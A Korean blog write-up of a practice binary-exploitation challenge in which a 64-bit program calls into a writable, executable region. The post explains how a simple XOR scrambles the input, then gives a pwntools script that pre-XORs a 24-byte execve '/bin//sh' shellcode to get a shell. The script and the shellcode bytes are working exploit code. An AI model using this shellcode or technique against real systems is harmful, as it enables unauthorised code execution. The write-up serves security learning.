본문 바로가기
시스템 해킹/cykor

2015410212-64비트 쉘코드, 간단한 xor

by sonysame 2018. 1. 2.

64비트 쉘코드, 간단한 xor-2015410212


취약점은 main함수에 있는 call rdx


여기서 rdx는 addr에 담긴 값(0x616267307264)이다


init함수에서


이 부분은 rwxp의 권한을 갖게 된다.


따라서, 이 곳에 쉘코드를 넣어주면 된다!


Enter your code: 해서 이 곳에 원하는 만큼 입력을 받는다.


하지만 문제는 mapping부분에서 xor로 이 부분을 망쳐놓는다는 점이다.


따라서, 어떻게 xor이 이루어지는지를 분석해서 코드를 짜서 쉘을 따는 데에 성공했다.


이 부분은 간단한 xor연산 과정이다!


from pwn import *

payload=""

shellcode="\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

for i in range(len(shellcode)):

if((len(shellcode)-1-i)%3==0):

payload+=p8(ord(shellcode[i])^(len(shellcode)-1-i))

else:

payload+=str(shellcode[i])

print("shellcode:"+shellcode.encode("hex"))

print("payload:"+payload.encode("hex"))


s=process('./2015410212')

#raw_input()

print s.recv(1024)

s.send(str(len(shellcode))+'\n')

print s.recv(1024)

s.send(payload+'\n')

print s.recv(1024)


s.interactive()

s.close()




+) 64비트는 쉘코드가 다르다!


https://www.exploit-db.com/exploits/42179/


내가 사용한 쉘코드는 24바이트 쉘코드!

\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

'시스템 해킹 > cykor' 카테고리의 다른 글

rop2-ROP+SROP  (0) 2018.01.05
rop1-ROP+SROP  (0) 2018.01.02
rain_dROP-카나리 릭, 메모리 릭  (0) 2018.01.02
derby-카나리 릭  (0) 2018.01.02
2015410208-got overwrite  (0) 2018.01.02